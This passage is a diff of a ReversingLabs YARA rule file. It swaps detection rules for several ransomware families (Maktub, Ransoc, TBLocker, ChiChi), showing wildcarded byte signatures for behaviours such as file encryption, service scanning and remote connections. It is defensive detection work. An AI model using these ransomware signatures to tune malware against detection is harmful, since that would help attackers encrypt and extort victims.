-rule REVERSINGLABS_Win32_Ransomware_Maktub : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Ransoc : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Maktub ransomware."
+		description = "Yara rule that detects Ransoc ransomware."
 		author = "ReversingLabs"
-		id = "23ca4232-77ff-5519-b6b0-ccec6cb35fe1"
+		id = "a990754e-eafa-5501-a123-bcbd5aa26ca6"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Maktub.yara#L1-L116"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "ee3213213e9521f7d19ce6340cd2f98057c22b1188ceefc30c17c18b6ec54e20"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Ransoc.yara#L1-L114"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "1f48f1b713c18b099e863d8a11e872ae84df0ea355f01cba765e8333d8d98575"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -30206,118 +31727,115 @@ rule REVERSINGLABS_Win32_Ransomware_Maktub : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Maktub"
+		tc_detection_name = "Ransoc"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
+		$scan_for_services = {
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 66 A3 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 66 89
+            0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 F3
+            E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85
+            C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ?? ?? ?? 73
+            ?? 66 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 66 A3 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ??
+            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 66
+            89 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03
+            F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
+            85 C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 FF 66 39 2D ?? ??
+            ?? ?? 73 ?? A1 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 66 01 1D ?? ?? ?? ?? 8B
+            FB 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 85 C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ??
+            ?? ?? 73 ?? 85 FF 75 ?? A1 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 66
+            01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            EB ?? 85 FF 74 ?? 8D 44 24 ?? 50 E8
+      }
+		$remote_connection = {
+            8B 44 24 ?? 83 EC ?? 53 8B 5C 24 ?? 56 8B 74 24 ?? 50 56 E8 ?? ?? ?? ?? 8B D8 83 C4
+            ?? 83 FB ?? 75 ?? 5E B8 ?? ?? ?? ?? 5B 83 C4 ?? C3 8B 4C 24 ?? 55 8B 6C 24 ?? 57 55
+            56 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 56 FF 15 ?? ?? ?? ?? 50 56 53 E8
+            ?? ?? ?? ?? 56 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 83 FF ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 8D
+            47 ?? 5F 5D 5E 5B 83 C4 ?? C3 8B 44 24 ?? 85 C0 74 ?? 85 ED 74 ?? 55 50 53 E8 ?? ??
+            ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 5F 5D 5E B8 ?? ?? ?? ?? 5B 83 C4
+            ?? C3 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 83 C4 ?? 8D 49 ?? 8B 74 24 ??
+            8B C6 2B 44 24 ?? 75 ?? 8D 4C 24 ?? 6A ?? 51 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? 2B
+            74 24 ?? 6A ?? 56 8D 54 24 ?? 56 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 53 FF D5 8B F8 85 FF
+            78 ?? 2B C6 01 44 24 ?? EB ?? 29 74 24 ?? 83 FF ?? 74 ?? 85 FF 75 ?? 53 FF 15 ?? ??
+            ?? ?? 85 FF 79 ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5D 5E B8 ?? ?? ?? ?? 5B
+            83 C4 ?? C3 8D 54 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 68 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5D
+            8D 46 ?? 5E 5B 83 C4 ?? C3 8B 54 24 ?? 83 C2 ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 4C 24 ??
+            8B 54 24 ?? 8B F8 8B 44 24 ?? 2B F0 83 C6 ?? 2B CE 51 03 F0 56 52 E8 ?? ?? ?? ?? 8D
+            44 24 ?? 50 E8
+      }
 		$encrypt_files = {
-            55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 8B ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 51 8D B3 ?? ?? ?? ?? 8B CB 56 E8 ?? ?? ?? ?? 85 C0 74 ?? 50 8B 43 ?? FF D0 8D
-            45 ?? C7 45 ?? ?? ?? ?? ?? 50 8B 43 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
-            B3 ?? ?? ?? ?? FF D0 85 C0 74 ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8B 43 ?? 6A
-            ?? 6A ?? 6A ?? 6A ?? FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF D0 85 C0 75 ?? FF 75 ?? 8B 43
-            ?? FF D0 5E 33 C0 5B 8B E5 5D C3 A1 ?? ?? ?? ?? 57 8B 7D ?? 85 C0 75 ?? FF 15 ?? ??
-            ?? ?? A3 ?? ?? ?? ?? 57 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? 85 C9 74
-            ?? 8B D1 33 C0 C1 E9 ?? F3 AB 8B CA 83 E1 ?? F3 AA 8B 7D ?? B9 ?? ?? ?? ?? 3B FE 76
-            ?? 8D 46 ?? 3B F8 73 ?? 8D 57 ?? 8D 70 ?? 8B FF 8A 06 8D 52 ?? 88 42 ?? 8D 76 ?? 49
-            75 ?? EB ?? 8B D7 2B D6 8A 06 8D 76 ?? 88 44 32 ?? 49 75 ?? E8 ?? ?? ?? ?? 89 83 ??
-            ?? ?? ?? 8D 4F ?? 8B 83 ?? ?? ?? ?? 89 47 ?? FF B3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 45 ?? FF 75 ?? 50 8B 43 ?? 57 6A ?? 6A ?? 6A ?? FF 75 ?? FF D0 85 C0 75 ?? A1
-            ?? ?? ?? ?? 85 C0 75 ?? A1 ?? ?? ?? ?? FF D0 A3 ?? ?? ?? ?? 57 6A ?? 50 FF 15 ?? ??
-            ?? ?? FF 75 ?? 8B 43 ?? FF D0 5F 5E 33 C0 5B 8B E5 5D C3 FF 75 ?? 8D 45 ?? 57 50 E8
-            ?? ?? ?? ?? 50 8D 8B ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? A1 ?? ?? ??
-            ?? 85 C0 75 ?? A1 ?? ?? ?? ?? FF D0 A3 ?? ?? ?? ?? 57 6A ?? 50 FF 15 ?? ?? ?? ?? FF
-            75 ?? 8B 43 ?? FF D0 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3
-        }
-		$search_files = {
-            55 8B EC 83 EC ?? 53 56 57 8B F9 68 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 85 C0 0F 84
-            ?? ?? ?? ?? 8B 47 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ??
-            FF D0 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 4F ?? 8D 45 ?? 50 0F 57 C0 53 66 0F 13 45
-            ?? FF D1 85 C0 0F 84 ?? ?? ?? ?? 8B 75 ?? 8B C6 0B 45 ?? 0F 84 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 6A ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? ?? FF
-            72 ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 87 ?? ?? ?? ??
-            8B 55 ?? 8D 4A ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? FF 70 ?? 50 FF 31 8D 4D ?? E8 ?? ??
-            ?? ?? 8B 45 ?? 83 C0 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 7F ?? A1 ?? ?? ?? ?? 85 C0 75 ??
-            FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 75 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 45 ?? 85 C0
-            7C ?? 7F ?? 81 FE ?? ?? ?? ?? 72 ?? 50 8B 45 ?? 56 53 8B 1D ?? ?? ?? ?? 33 F6 51 8D
-            48 ?? 89 65 ?? 39 31 7C ?? 51 8D 70 ?? FF D3 8B 4D ?? 8D 46 ?? 51 33 F6 89 65 ?? 89
-            01 8B 45 ?? 39 70 ?? 8D 48 ?? 7C ?? 51 8D 70 ?? FF D3 8B 4D ?? 8D 46 ?? 89 01 8B CF
-            E8 ?? ?? ?? ?? 8B 75 ?? 8B F8 E9 ?? ?? ?? ?? 8B 75 ?? 8B 47 ?? 6A ?? 6A ?? 6A ?? 6A
-            ?? 6A ?? 68 ?? ?? ?? ?? 56 FF D0 89 45 ?? 83 F8 ?? 75 ?? 8B 47 ?? 53 FF D0 33 FF E9
-            ?? ?? ?? ?? 51 8D 87 ?? ?? ?? ?? 8B CF 50 E8 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ??
-            ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? C7 45
-            ?? ?? ?? ?? ?? 51 FF 75 ?? 50 8B 47 ?? 53 FF D0 85 C0 75 ?? 8B 4D ?? E9 ?? ?? ?? ??
-            8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 ??
-            ?? ?? ?? ?? 50 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 85 C0 74 ?? E8 ?? ?? ?? ??
-            8B 45 ?? 6A ?? 89 45 ?? 8D 45 ?? 50 8B 47 ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? FF D0
-            85 C0 75 ?? 8B 4D ?? EB ?? FF 75 ?? 8D 45 ?? 50 FF 75 ?? 8B 47 ?? 6A ?? 6A ?? 6A ??
-            FF 75 ?? FF D0 85 C0 75 ?? 8B 4D ?? EB ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF
-            75 ?? 8B 45 ?? 50 FF 75 ?? 8B 47 ?? FF D0 8B 4D ?? 85 C0 74 ?? 8B 45 ?? 3B 45 ?? 74
-            ?? E8 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 8B 47 ?? 53 FF D0 FF 75 ?? 8B 47 ?? FF D0
-            8B 47 ?? 56 FF D0 33 FF E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 FF 75
-            ?? 8B 47 ?? FF D0 8B 47 ?? 53 FF D0 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ??
-            ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ??
-            ?? ?? ?? 6A ?? 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 45
-            ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 85 C0 75 ??
-            8B 47 ?? 56 FF D0 33 FF EB ?? BF ?? ?? ?? ?? 83 C6 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ??
-            85 C0 7F ?? A1 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 1D ?? ??
-            ?? ?? 56 6A ?? 50 FF D3 EB ?? 8B 47 ?? 53 FF D0 33 FF 8B 1D ?? ?? ?? ?? 8B 75 ?? 83
-            C6 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 7F ?? A1 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ??
-            ?? ?? ?? A3 ?? ?? ?? ?? 56 6A ?? 50 FF D3 8B C7 5F 5E 5B 8B E5 5D C2
-        }
-		$previous_encrypt_files = {
-            0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8D 4D
-            ?? 89 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF
-            77 ?? FF D3 8D 4D ?? 89 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ??
-            ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6
-            0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0
-            8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D
-            4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ??
-            FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ??
-            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF
-            30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ??
-            ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89
-            B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ??
-            ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6
-            0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0
-            8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D
-            4D ?? E8 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ?? 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7
-            ?? ?? ?? ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ??
-            ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 ?? ?? ?? ?? FF D3 8B F0 8D
-            4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ?? 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 ??
-            ?? ?? ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ??
-            ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 ?? ?? ?? ?? FF D3 8B F0 8D 4D
-            ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ??
-            E8 ?? ?? ?? ?? FF 30 FF B7 ?? ?? ?? ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 6A ?? 8D B7 ?? ?? ?? ?? FF 30 8B 47 ?? 6A ?? 56 FF D0 85 C0 8D 4D ?? 0F 94 C3 E8
-            ?? ?? ?? ?? 84 DB 74 ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ??
-            FF 30 8B 47 ?? 6A ?? 56 FF D0 85 C0 8D 4D ?? 0F 94 C3 E8 ?? ?? ?? ?? 84 DB 0F 85 ??
-            ?? ?? ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3
-        }
+            81 EC ?? ?? ?? ?? 53 55 56 8B 35 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ??
+            8B F8 FF D6 8B 8C 24 ?? ?? ?? ?? 8B E8 8B 84 24 ?? ?? ?? ?? 50 51 57 8D 94 24 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50
+            E8 ?? ?? ?? ?? 8B BC 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 83 C4 ?? 89 4C 24 ?? BB ??
+            ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? EB ?? 8D 49 ?? 55 68 ?? ?? ?? ?? 83 FB ?? 7E ?? 8D
+            94 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 74 24 ?? 8D BC 24 ?? ?? ?? ?? 52 F3 A5 E8 ?? ??
+            ?? ?? 8B BC 24 ?? ?? ?? ?? 88 9C 2C ?? ?? ?? ?? 8D 75 ?? EB ?? 8D 84 24 ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? 88 9C 2C ?? ?? ?? ?? 8D 75 ?? 83 C4 ?? 6A ?? 8D 4C 24 ?? 6A ?? 51
+            E8 ?? ?? ?? ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 52 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            8D 44 24 ?? B9 ?? ?? ?? ?? 80 30 ?? 40 49 75 ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 6A ??
+            8D 54 24 ?? 52 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 56 8D 8C 24 ?? ?? ?? ?? 51 8D
+            94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ??
+            ?? ?? 83 C4 ?? 8D 44 24 ?? B9 ?? ?? ?? ?? 8B FF 80 30 ?? 40 49 75 ?? 8D 54 24 ?? 52
+            E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 8D
+            54 24 ?? 52 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 8D 54 24
+            ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B F7 83 FF ?? 72 ?? BE ?? ?? ?? ?? 8B 4C 24 ?? 56 8D
+            44 24 ?? 50 51 E8 ?? ?? ?? ?? 01 74 24 ?? 2B FE 83 C4 ?? 43 89 BC 24 ?? ?? ?? ?? 85
+            FF 0F 85 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3
+      }
+		$find_files = {
+            83 EC ?? 53 55 56 57 33 DB 68 ?? ?? ?? ?? 6A ?? 89 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ??
+            ?? 8B E8 8D 44 24 ?? 50 89 6C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? 55 51 E8 ?? ?? ?? ??
+            8B 74 24 ?? 6A ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 55 68 ?? ?? ??
+            ?? 89 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B F8 57 8D 54 24 ?? 52 8D 44 24 ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? 3B C3 75 ?? 8B 4C 24 ?? 51 8D 54 24 ?? 52 E8 ?? ??
+            ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ??
+            ?? ?? 8B 44 24 ?? 50 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 4C 24 ??
+            51 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 54 24 ?? 52 56 E8 ?? ?? ??
+            ?? 83 C4 ?? 33 FF 39 5C 24 ?? 76 ?? 8D 64 24 ?? 8B 44 24 ?? 8B 0C B8 51 56 E8 ?? ??
+            ?? ?? 47 83 C4 ?? 3B 7C 24 ?? 72 ?? 39 5C 24 ?? 75 ?? 8B 44 24 ?? 3B C3 74 ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 54 24 ?? 52 56 E8 ?? ?? ??
+            ?? 8B 44 24 ?? 83 C4 ?? 89 5C 24 ?? 3B C3 0F 86 ?? ?? ?? ?? EB ?? 8D 9B ?? ?? ?? ??
+            8B 44 24 ?? 8B 4C 24 ?? 8B 1C 88 53 55 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 57 68 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 8B E8 E8 ?? ?? ?? ?? 6A ?? 56 89 44 24 ??
+            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 53 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            56 E8 ?? ?? ?? ?? 33 C0 8D 54 24 ?? 55 52 C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 84
+            24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84
+            24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 44 24 ?? 50 56
+            E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ??
+            ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 8B D3 52 E8 ?? ??
+            ?? ?? 8B 4C 24 ?? 8B 44 24 ?? 8B 6C 24 ?? 41 83 C4 ?? 89 4C 24 ?? 3B C8 0F 82 ?? ??
+            ?? ?? 33 DB 33 F6 3B C3 76 ?? 8B 44 24 ?? 8B 0C B0 51 E8 ?? ?? ?? ?? 46 83 C4 ?? 3B
+            74 24 ?? 72 ?? 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ??
+            3B C3 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 5F 5E 5D 3B C3 5B 74 ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 83 C4 ?? C3
+      }
 
 	condition:
-		uint16(0)==0x5A4D and $search_files and $previous_encrypt_files and $encrypt_files
+		uint16(0)==0x5A4D and $scan_for_services and $find_files and $encrypt_files and $remote_connection
 }
-rule REVERSINGLABS_Win32_Ransomware_Tblocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Chichi : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects TBLocker ransomware."
+		description = "Yara rule that detects ChiChi ransomware."
 		author = "ReversingLabs"
-		id = "91793018-baf6-5e70-83b6-8793482c3bec"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "95062789-a55d-5c1c-a359-206b58f311e5"
+		date = "2022-02-14"
+		modified = "2022-02-14"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.TBLocker.yara#L1-L85"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "81f0077655ac0e59cd8dc05be602ae500c938668bd57d3cf4a51fbff2a5b6b83"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.ChiChi.yara#L1-L66"
